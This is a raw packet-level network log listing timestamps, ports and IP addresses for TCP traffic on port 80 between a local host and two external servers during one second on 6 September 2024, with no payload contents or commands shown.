Sep 6, 2024 08:17:07.510065079 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.510066032 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.510071993 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.510077953 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.510082960 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.510090113 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.510150909 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.510162115 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.510169029 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.510179043 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.510184050 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.510189056 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.510199070 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.510214090 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.510220051 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.510225058 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.510230064 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.510253906 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.510266066 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.510304928 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.510371923 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.510392904 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.510399103 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.510404110 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.510482073 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.510487080 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.510499001 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.510504007 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.510509968 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.510514975 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.510529041 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.510546923 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.510546923 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.510549068 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.510588884 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.510597944 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.510603905 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.510610104 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.510615110 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.510621071 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.510631084 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.510709047 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.510936022 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.510960102 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.510966063 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.510992050 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.510994911 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.511002064 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.511017084 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.511019945 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.511023045 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.511049986 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.511149883 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.511766911 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.511774063 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.511779070 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.511837006 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.511837006 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.511858940 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.511864901 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.511876106 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.511934042 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.511940002 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.511975050 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.512006998 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.512012959 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.512020111 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.512023926 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.512036085 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.512041092 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.512052059 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.512073994 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.512078047 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.512085915 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.512093067 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.512125015 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.512289047 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.512295008 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.512305975 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.512310982 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.512315035 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.512320995 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.512335062 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.512346983 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.512353897 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.512357950 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.512358904 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.512362957 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.512382984 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.512388945 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.512399912 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.512408018 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.512408018 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.512408018 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.512437105 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.512437105 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.512475014 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.512618065 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.512622118 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.512696028 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.512696028 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.512785912 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.512790918 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.512797117 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.512820959 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.512826920 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.512844086 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.512854099 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.512880087 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.512937069 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.513160944 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.513168097 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.513183117 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.513212919 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.513313055 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.513318062 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.513329983 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.513334036 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.513339996 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.513345003 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.513350010 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.513350964 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.513355970 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.513369083 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.513374090 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.513379097 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.513381004 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.513384104 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.513390064 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.513402939 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.513413906 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.513421059 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.513427019 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.513427019 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.513430119 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.513459921 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.513459921 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.513479948 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.513485909 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.513498068 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.513501883 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.513533115 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.513533115 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.513578892 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.513602018 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.513607025 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.513618946 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.513623953 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.513629913 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.513642073 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.513648033 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.513685942 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.513685942 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.513747931 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.513750076 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.513786077 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.513791084 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.513801098 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.513820887 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.513827085 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.513869047 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.513869047 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.513885021 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.513905048 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.513907909 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.513964891 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.513979912 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.513981104 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.514136076 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.514709949 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.514753103 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.514784098 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.514791012 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.514813900 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.514813900 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.514858007 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.514864922 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.514875889 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.514882088 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.514900923 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.514995098 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.526806116 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.526812077 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.526823044 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.526850939 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.526856899 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.526868105 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.526879072 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.526880026 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.526885033 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.526921988 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.526927948 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.526932955 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.526932955 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.526933908 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.527005911 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.527012110 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.527029037 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.527034998 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.527039051 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.527040958 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.527048111 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.527076006 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.527076006 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.527122021 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.527127981 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.527138948 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.527143955 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.527154922 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.527194977 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.527200937 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.527225018 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.527245045 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.527252913 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.527278900 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.527292013 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.527298927 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.527304888 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.527318001 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.527400970 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.527406931 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.527419090 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.527434111 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.527457952 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.527463913 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.527476072 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.527482033 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.527493000 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.527555943 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.527563095 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.527590036 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.527713060 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.527841091 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.527846098 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.527858019 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.527870893 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.527877092 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.527890921 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.527905941 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.527929068 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.527935028 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.527956009 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.528079987 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.528212070 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.528215885 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.528228998 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.528271914 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.528276920 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.528287888 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.528305054 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.528316021 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.528321981 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.528327942 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.528343916 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.528386116 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.528417110 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.528446913 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.528461933 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.528467894 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.528474092 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.528476000 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.528500080 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.528515100 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.528522015 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.528532028 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.528549910 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.528565884 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.528572083 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.528594017 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.528676987 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.528682947 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.528688908 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.528693914 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.528707027 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.528789997 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.529120922 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.529125929 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.529131889 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.529205084 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.529210091 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.529222012 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.529227972 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.529237032 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.529262066 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.529268026 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.529275894 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.529275894 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.529342890 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.529349089 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.529355049 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.529372931 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.529400110 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.529403925 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.529403925 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.529407978 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.529416084 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.529421091 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.529493093 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.529499054 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.529510975 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.529525995 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.529530048 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.529536963 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.529560089 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.529594898 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.529602051 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.529613018 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.529629946 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.529685020 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.532583952 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.532588959 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.532717943 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.532722950 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.532735109 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.532737017 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.532741070 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.532747984 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.532752991 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.532762051 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.532783031 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.532812119 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.532816887 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.532816887 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.532818079 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.532829046 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.532840967 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.532849073 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.532859087 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.532865047 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.532881021 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.532901049 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.532901049 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.532941103 CEST	80	49737	147.45.44.104	192.168.2.4
